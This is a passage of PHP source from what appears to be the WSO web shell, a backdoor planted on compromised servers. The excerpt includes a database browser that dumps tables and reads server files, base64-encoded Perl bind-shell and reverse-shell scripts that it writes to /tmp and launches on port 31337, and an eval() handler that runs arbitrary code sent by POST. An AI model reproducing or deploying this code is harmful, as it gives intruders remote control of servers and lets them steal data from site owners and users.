3286
3287 return $this->res = @pg_query($this->link,$str);
3288
3289 break;
3290
3291 }
3292
3293 return false;
3294
3295 }
3296
3297 function fetch() {
3298
3299 $res = func_num_args()?func_get_arg(0):$this->res;
3300
3301 switch($this->type) {
3302
3303 case 'mysql':
3304
3305 return @mysql_fetch_assoc($res);
3306
3307 break;
3308
3309 case 'pgsql':
3310
3311 return @pg_fetch_assoc($res);
3312
3313 break;
3314
3315 }
3316
3317 return false;
3318
3319 }
3320
3321 function listDbs() {
3322
3323 switch($this->type) {
3324
3325 case 'mysql':
3326
3327 return $this->query("SHOW databases");
3328
3329 break;
3330
3331 case 'pgsql':
3332
3333 return $this->res = $this->query("SELECT datname FROM pg_database WHERE datistemplate!='t'");
3334
3335 break;
3336
3337 }
3338
3339 return false;
3340
3341 }
3342
3343 function listTables() {
3344
3345 switch($this->type) {
3346
3347 case 'mysql':
3348
3349 return $this->res = $this->query('SHOW TABLES');
3350
3351 break;
3352
3353 case 'pgsql':
3354
3355 return $this->res = $this->query("select table_name from information_schema.tables where table_schema != 'information_schema' AND table_schema != 'pg_catalog'");
3356
3357 break;
3358
3359 }
3360
3361 return false;
3362
3363 }
3364
3365 function error() {
3366
3367 switch($this->type) {
3368
3369 case 'mysql':
3370
3371 return @mysql_error();
3372
3373 break;
3374
3375 case 'pgsql':
3376
3377 return @pg_last_error();
3378
3379 break;
3380
3381 }
3382
3383 return false;
3384
3385 }
3386
3387 function setCharset($str) {
3388
3389 switch($this->type) {
3390
3391 case 'mysql':
3392
3393 if(function_exists('mysql_set_charset'))
3394
3395 return @mysql_set_charset($str, $this->link);
3396
3397 else
3398
3399 $this->query('SET CHARSET '.$str);
3400
3401 break;
3402
3403 case 'pgsql':
3404
3405 return @pg_set_client_encoding($this->link, $str);
3406
3407 break;
3408
3409 }
3410
3411 return false;
3412
3413 }
3414
3415 function loadFile($str) {
3416
3417 switch($this->type) {
3418
3419 case 'mysql':
3420
3421 return $this->fetch($this->query("SELECT LOAD_FILE('".addslashes($str)."') as file"));
3422
3423 break;
3424
3425 case 'pgsql':
3426
3427 $this->query("CREATE TABLE wso2(file text);COPY wso2 FROM '".addslashes($str)."';select file from wso2;");
3428
3429 $r=array();
3430
3431 while($i=$this->fetch())
3432
3433 $r[] = $i['file'];
3434
3435 $this->query('drop table wso2');
3436
3437 return array('file'=>implode("\n",$r));
3438
3439 break;
3440
3441 }
3442
3443 return false;
3444
3445 }
3446
3447 function dump($table, $fp = false) {
3448
3449 switch($this->type) {
3450
3451 case 'mysql':
3452
3453 $res = $this->query('SHOW CREATE TABLE `'.$table.'`');
3454
3455 $create = mysql_fetch_array($res);
3456
3457 $sql = $create[1].";\n";
3458
3459 if($fp) fwrite($fp, $sql); else echo($sql);
3460
3461 $this->query('SELECT * FROM `'.$table.'`');
3462
3463 $head = true;
3464
3465 while($item = $this->fetch()) {
3466
3467 $columns = array();
3468
3469 foreach($item as $k=>$v) {
3470
3471 if($v == null)
3472
3473 $item[$k] = "NULL";
3474
3475 elseif(is_numeric($v))
3476
3477 $item[$k] = $v;
3478
3479 else
3480
3481 $item[$k] = "'".@mysql_real_escape_string($v)."'";
3482
3483 $columns[] = "`".$k."`";
3484
3485 }
3486
3487 if($head) {
3488
3489 $sql = 'INSERT INTO `'.$table.'` ('.implode(", ", $columns).") VALUES \n\t(".implode(", ", $item).')';
3490
3491 $head = false;
3492
3493 } else
3494
3495 $sql = "\n\t,(".implode(", ", $item).')';
3496
3497 if($fp) fwrite($fp, $sql); else echo($sql);
3498
3499 }
3500
3501 if(!$head)
3502
3503 if($fp) fwrite($fp, ";\n\n"); else echo(";\n\n");
3504
3505 break;
3506
3507 case 'pgsql':
3508
3509 $this->query('SELECT * FROM '.$table);
3510
3511 while($item = $this->fetch()) {
3512
3513 $columns = array();
3514
3515 foreach($item as $k=>$v) {
3516
3517 $item[$k] = "'".addslashes($v)."'";
3518
3519 $columns[] = $k;
3520
3521 }
3522
3523 $sql = 'INSERT INTO '.$table.' ('.implode(", ", $columns).') VALUES ('.implode(", ", $item).');'."\n";
3524
3525 if($fp) fwrite($fp, $sql); else echo($sql);
3526
3527 }
3528
3529 break;
3530
3531 }
3532
3533 return false;
3534
3535 }
3536
3537 };
3538
3539 $db = new DbClass($_POST['type']);
3540
3541 if(@$_POST['p2']=='download') {
3542
3543 $db->connect($_POST['sql_host'], $_POST['sql_login'], $_POST['sql_pass'], $_POST['sql_base']);
3544
3545 $db->selectdb($_POST['sql_base']);
3546
3547 switch($_POST['charset']) {
3548
3549 case "Windows-1251": $db->setCharset('cp1251'); break;
3550
3551 case "UTF-8": $db->setCharset('utf8'); break;
3552
3553 case "KOI8-R": $db->setCharset('koi8r'); break;
3554
3555 case "KOI8-U": $db->setCharset('koi8u'); break;
3556
3557 case "cp866": $db->setCharset('cp866'); break;
3558
3559 }
3560
3561 if(empty($_POST['file'])) {
3562
3563 ob_start("ob_gzhandler", 4096);
3564
3565 header("Content-Disposition: attachment; filename=dump.sql");
3566
3567 header("Content-Type: text/plain");
3568
3569 foreach($_POST['tbl'] as $v)
3570
3571 $db->dump($v);
3572
3573 exit;
3574
3575 } elseif($fp = @fopen($_POST['file'], 'w')) {
3576
3577 foreach($_POST['tbl'] as $v)
3578
3579 $db->dump($v, $fp);
3580
3581 fclose($fp);
3582
3583 unset($_POST['p2']);
3584
3585 } else
3586
3587 die('<script>alert("Error! Can\'t open file");window.history.back(-1)</script>');
3588
3589 }
3590
3591 wsoHeader();
3592
3593 echo "
3594
3595
3596
3597<h1>Sql browser</h1><div class=content>
3598
3599<form name='sf' method='post' onsubmit='fs(this);'><table cellpadding='2' cellspacing='0'><tr>
3600
3601<td>Type</td><td>Host</td><td>Login</td><td>Password</td><td>Database</td><td></td></tr><tr>
3602
3603<input type=hidden name=a value=Sql><input type=hidden name=p1 value='query'><input type=hidden name=p2 value=''><input type=hidden name=c value='". htmlspecialchars($GLOBALS['cwd']) ."'><input type=hidden name=charset value='". (isset($_POST['charset'])?$_POST['charset']:'') ."'>
3604
3605<td><select name='type'><option value='mysql' ";
3606
3607 if(@$_POST['type']=='mysql')echo 'selected';
3608
3609echo ">MySql</option><option value='pgsql' ";
3610
3611if(@$_POST['type']=='pgsql')echo 'selected';
3612
3613echo ">PostgreSql</option></select></td>
3614
3615<td><input type=text name=sql_host value='". (empty($_POST['sql_host'])?'localhost':htmlspecialchars($_POST['sql_host'])) ."'></td>
3616
3617<td><input type=text name=sql_login value='". (empty($_POST['sql_login'])?'root':htmlspecialchars($_POST['sql_login'])) ."'></td>
3618
3619<td><input type=text name=sql_pass value='". (empty($_POST['sql_pass'])?'':htmlspecialchars($_POST['sql_pass'])) ."'></td><td>";
3620
3621 $tmp = "<input type=text name=sql_base value=''>";
3622
3623 if(isset($_POST['sql_host'])){
3624
3625 if($db->connect($_POST['sql_host'], $_POST['sql_login'], $_POST['sql_pass'], $_POST['sql_base'])) {
3626
3627 switch($_POST['charset']) {
3628
3629 case "Windows-1251": $db->setCharset('cp1251'); break;
3630
3631 case "UTF-8": $db->setCharset('utf8'); break;
3632
3633 case "KOI8-R": $db->setCharset('koi8r'); break;
3634
3635 case "KOI8-U": $db->setCharset('koi8u'); break;
3636
3637 case "cp866": $db->setCharset('cp866'); break;
3638
3639 }
3640
3641 $db->listDbs();
3642
3643 echo "<select name=sql_base><option value=''></option>";
3644
3645 while($item = $db->fetch()) {
3646
3647 list($key, $value) = each($item);
3648
3649 echo '<option value="'.$value.'" '.($value==$_POST['sql_base']?'selected':'').'>'.$value.'</option>';
3650
3651 }
3652
3653 echo '</select>';
3654
3655 }
3656
3657 else echo $tmp;
3658
3659 }else
3660
3661 echo $tmp;
3662
3663 echo "</td>
3664
3665
3666
3667 <td><input type=submit value='>>' onclick='fs(d.sf);'></td>
3668
3669 <td><input type=checkbox name=sql_count value='on'" . (empty($_POST['sql_count'])?'':' checked') . "> count the number of rows</td>
3670
3671 </tr>
3672
3673 </table>
3674
3675 <script>
3676
3677 s_db='".@addslashes($_POST['sql_base'])."';
3678
3679 function fs(f) {
3680
3681 if(f.sql_base.value!=s_db) { f.onsubmit = function() {};
3682
3683 if(f.p1) f.p1.value='';
3684
3685 if(f.p2) f.p2.value='';
3686
3687 if(f.p3) f.p3.value='';
3688
3689 }
3690
3691 }
3692
3693 function st(t,l) {
3694
3695 d.sf.p1.value = 'select';
3696
3697 d.sf.p2.value = t;
3698
3699 if(l && d.sf.p3) d.sf.p3.value = l;
3700
3701 d.sf.submit();
3702
3703 }
3704
3705 function is() {
3706
3707 for(i=0;i<d.sf.elements['tbl[]'].length;++i)
3708
3709 d.sf.elements['tbl[]'][i].checked = !d.sf.elements['tbl[]'][i].checked;
3710
3711 }
3712
3713 </script>";
3714
3715 if(isset($db) && $db->link){
3716
3717 echo "<br/><table width=100% cellpadding=2 cellspacing=0>";
3718
3719 if(!empty($_POST['sql_base'])){
3720
3721 $db->selectdb($_POST['sql_base']);
3722
3723 echo "<tr><td width=1 style='border-top:2px solid #666;'><span>Tables:</span><br><br>";
3724
3725 $tbls_res = $db->listTables();
3726
3727 while($item = $db->fetch($tbls_res)) {
3728
3729 list($key, $value) = each($item);
3730
3731 if(!empty($_POST['sql_count']))
3732
3733 $n = $db->fetch($db->query('SELECT COUNT(*) as n FROM '.$value.''));
3734
3735 $value = htmlspecialchars($value);
3736
3737 echo "<nobr><input type='checkbox' name='tbl[]' value='".$value."'> <a href=# onclick=\"st('".$value."',1)\">".$value."</a>" . (empty($_POST['sql_count'])?' ':" <small>({$n['n']})</small>") . "</nobr><br>";
3738
3739 }
3740
3741 echo "<input type='checkbox' onclick='is();'> <input type=button value='Dump' onclick='document.sf.p2.value=\"download\";document.sf.submit();'><br>File path:<input type=text name=file value='dump.sql'></td><td style='border-top:2px solid #666;'>";
3742
3743 if(@$_POST['p1'] == 'select') {
3744
3745 $_POST['p1'] = 'query';
3746
3747 $_POST['p3'] = $_POST['p3']?$_POST['p3']:1;
3748
3749 $db->query('SELECT COUNT(*) as n FROM ' . $_POST['p2']);
3750
3751 $num = $db->fetch();
3752
3753 $pages = ceil($num['n'] / 30);
3754
3755 echo "<script>d.sf.onsubmit=function(){st(\"" . $_POST['p2'] . "\", d.sf.p3.value)}</script><span>".$_POST['p2']."</span> ({$num['n']} records) Page # <input type=text name='p3' value=" . ((int)$_POST['p3']) . ">";
3756
3757 echo " of $pages";
3758
3759 if($_POST['p3'] > 1)
3760
3761 echo " <a href=# onclick='st(\"" . $_POST['p2'] . '", ' . ($_POST['p3']-1) . ")'>< Prev</a>";
3762
3763 if($_POST['p3'] < $pages)
3764
3765 echo " <a href=# onclick='st(\"" . $_POST['p2'] . '", ' . ($_POST['p3']+1) . ")'>Next ></a>";
3766
3767 $_POST['p3']--;
3768
3769 if($_POST['type']=='pgsql')
3770
3771 $_POST['p2'] = 'SELECT * FROM '.$_POST['p2'].' LIMIT 30 OFFSET '.($_POST['p3']*30);
3772
3773 else
3774
3775 $_POST['p2'] = 'SELECT * FROM `'.$_POST['p2'].'` LIMIT '.($_POST['p3']*30).',30';
3776
3777 echo "<br><br>";
3778
3779 }
3780
3781 if((@$_POST['p1'] == 'query') && !empty($_POST['p2'])) {
3782
3783 $db->query(@$_POST['p2']);
3784
3785 if($db->res !== false) {
3786
3787 $title = false;
3788
3789 echo '<table width=100% cellspacing=1 cellpadding=2 class=main style="background-color:#292929">';
3790
3791 $line = 1;
3792
3793 while($item = $db->fetch()) {
3794
3795 if(!$title) {
3796
3797 echo '<tr>';
3798
3799 foreach($item as $key => $value)
3800
3801 echo '<th>'.$key.'</th>';
3802
3803 reset($item);
3804
3805 $title=true;
3806
3807 echo '</tr><tr>';
3808
3809 $line = 2;
3810
3811 }
3812
3813 echo '<tr class="l'.$line.'">';
3814
3815 $line = $line==1?2:1;
3816
3817 foreach($item as $key => $value) {
3818
3819 if($value == null)
3820
3821 echo '<td><i>null</i></td>';
3822
3823 else
3824
3825 echo '<td>'.nl2br(htmlspecialchars($value)).'</td>';
3826
3827 }
3828
3829 echo '</tr>';
3830
3831 }
3832
3833 echo '</table>';
3834
3835 } else {
3836
3837 echo '<div><b>Error:</b> '.htmlspecialchars($db->error()).'</div>';
3838
3839 }
3840
3841 }
3842
3843 echo "<br></form><form onsubmit='d.sf.p1.value=\"query\";d.sf.p2.value=this.query.value;document.sf.submit();return false;'><textarea name='query' style='width:100%;height:100px'>";
3844
3845 if(!empty($_POST['p2']) && ($_POST['p1'] != 'loadfile'))
3846
3847 echo htmlspecialchars($_POST['p2']);
3848
3849 echo "</textarea><br/><input type=submit value='Execute'>";
3850
3851 echo "</td></tr>";
3852
3853 }
3854
3855 echo "</table></form><br/>";
3856
3857 if($_POST['type']=='mysql') {
3858
3859 $db->query("SELECT 1 FROM mysql.user WHERE concat(`user`, '@', `host`) = USER() AND `File_priv` = 'y'");
3860
3861 if($db->fetch())
3862
3863 echo "<form onsubmit='d.sf.p1.value=\"loadfile\";document.sf.p2.value=this.f.value;document.sf.submit();return false;'><span>Load file</span> <input class='toolsInp' type=text name=f><input type=submit value='>>'></form>";
3864
3865 }
3866
3867 if(@$_POST['p1'] == 'loadfile') {
3868
3869 $file = $db->loadFile($_POST['p2']);
3870
3871 echo '<pre class=ml1>'.htmlspecialchars($file['file']).'</pre>';
3872
3873 }
3874
3875 } else {
3876
3877 echo htmlspecialchars($db->error());
3878
3879 }
3880
3881 echo '</div>';
3882
3883 wsoFooter();
3884
3885}
3886
3887function actionNetwork() {
3888
3889 wsoHeader();
3890
3891 $back_connect_p="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGlhZGRyPWluZXRfYXRvbigkQVJHVlswXSkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRBUkdWWzFdLCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKTsNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgnL2Jpbi9zaCAtaScpOw0KY2xvc2UoU1RESU4pOw0KY2xvc2UoU1RET1VUKTsNCmNsb3NlKFNUREVSUik7";
3892
3893 $bind_port_p="IyEvdXNyL2Jpbi9wZXJsDQokU0hFTEw9Ii9iaW4vc2ggLWkiOw0KaWYgKEBBUkdWIDwgMSkgeyBleGl0KDEpOyB9DQp1c2UgU29ja2V0Ow0Kc29ja2V0KFMsJlBGX0lORVQsJlNPQ0tfU1RSRUFNLGdldHByb3RvYnluYW1lKCd0Y3AnKSkgfHwgZGllICJDYW50IGNyZWF0ZSBzb2NrZXRcbiI7DQpzZXRzb2Nrb3B0KFMsU09MX1NPQ0tFVCxTT19SRVVTRUFERFIsMSk7DQpiaW5kKFMsc29ja2FkZHJfaW4oJEFSR1ZbMF0sSU5BRERSX0FOWSkpIHx8IGRpZSAiQ2FudCBvcGVuIHBvcnRcbiI7DQpsaXN0ZW4oUywzKSB8fCBkaWUgIkNhbnQgbGlzdGVuIHBvcnRcbiI7DQp3aGlsZSgxKSB7DQoJYWNjZXB0KENPTk4sUyk7DQoJaWYoISgkcGlkPWZvcmspKSB7DQoJCWRpZSAiQ2Fubm90IGZvcmsiIGlmICghZGVmaW5lZCAkcGlkKTsNCgkJb3BlbiBTVERJTiwiPCZDT05OIjsNCgkJb3BlbiBTVERPVVQsIj4mQ09OTiI7DQoJCW9wZW4gU1RERVJSLCI+JkNPTk4iOw0KCQlleGVjICRTSEVMTCB8fCBkaWUgcHJpbnQgQ09OTiAiQ2FudCBleGVjdXRlICRTSEVMTFxuIjsNCgkJY2xvc2UgQ09OTjsNCgkJZXhpdCAwOw0KCX0NCn0=";
3894
3895 echo "<h1>Network tools</h1><div class=content>
3896
3897
3898
3899 <form name='nfp' onSubmit=\"g(null,null,'bpp',this.port.value);return false;\">
3900
3901 <span>Bind port to /bin/sh [perl]</span><br/>
3902
3903 Port: <input type='text' name='port' value='31337'> <input type=submit value='>>'>
3904
3905 </form>
3906
3907 <form name='nfp' onSubmit=\"g(null,null,'bcp',this.server.value,this.port.value);return false;\">
3908
3909 <span>Back-connect [perl]</span><br/>
3910
3911 Server: <input type='text' name='server' value='". $_SERVER['REMOTE_ADDR'] ."'> Port: <input type='text' name='port' value='31337'> <input type=submit value='>>'>
3912
3913
3914
3915 </form><br>";
3916
3917 if(isset($_POST['p1'])) {
3918
3919 function cf($f,$t) {
3920
3921 $w = @fopen($f,"w") or @function_exists('file_put_contents');
3922
3923 if($w){
3924
3925 @fwrite($w,@base64_decode($t));
3926
3927 @fclose($w);
3928
3929 }
3930
3931 }
3932
3933 if($_POST['p1'] == 'bpp') {
3934
3935 cf("/tmp/bp.pl",$bind_port_p);
3936
3937 $out = wsoEx("perl /tmp/bp.pl ".$_POST['p2']." 1>/dev/null 2>&1 &");
3938
3939 echo "<pre class=ml1>$out\n".wsoEx("ps aux | grep bp.pl")."</pre>";
3940
3941 unlink("/tmp/bp.pl");
3942
3943 }
3944
3945 if($_POST['p1'] == 'bcp') {
3946
3947 cf("/tmp/bc.pl",$back_connect_p);
3948
3949 $out = wsoEx("perl /tmp/bc.pl ".$_POST['p2']." ".$_POST['p3']." 1>/dev/null 2>&1 &");
3950
3951 echo "<pre class=ml1>$out\n".wsoEx("ps aux | grep bc.pl")."</pre>";
3952
3953 unlink("/tmp/bc.pl");
3954
3955 }
3956
3957 }
3958
3959 echo '</div>';
3960
3961 wsoFooter();
3962
3963}
3964
3965function actionRC() {
3966
3967 if(!@$_POST['p1']) {
3968
3969 $a = array(
3970
3971 "uname" => php_uname(),
3972
3973 "php_version" => phpversion(),
3974
3975 "wso_version" => WSO_VERSION,
3976
3977 "safemode" => @ini_get('safe_mode')
3978
3979 );
3980
3981 echo serialize($a);
3982
3983 } else {
3984
3985 eval($_POST['p1']);
3986
3987 }
3988
3989}
3990
3991if( empty($_POST['a']) )
3992
3993 if(isset($default_action) && function_exists('action' . $default_action))
3994
3995 $_POST['a'] = $default_action;
3996
3997 else
3998
3999 $_POST['a'] = 'SecInfo';
4000
4001if( !empty($_POST['a']) && function_exists('action' . $_POST['a']) )
4002
4003 call_user_func('action' . $_POST['a']);
4004
4005function FetchURL($url) {
4006
4007 $ch = curl_init();
4008
4009 curl_setopt($ch, CURLOPT_USERAGENT, "$cheader");
4010
4011 curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
4012
4013 curl_setopt($ch, CURLOPT_HEADER, false);
4014
4015 curl_setopt($ch, CURLOPT_URL, $url);
4016
4017 curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
4018
4019 curl_setopt($ch, CURLOPT_TIMEOUT, 30);
4020
4021 $data = curl_exec($ch);
4022
4023 if(!$data) {
4024
4025 return false;
4026
4027 }
4028
4029 return $data;
4030
4031 }
4032
4033exit;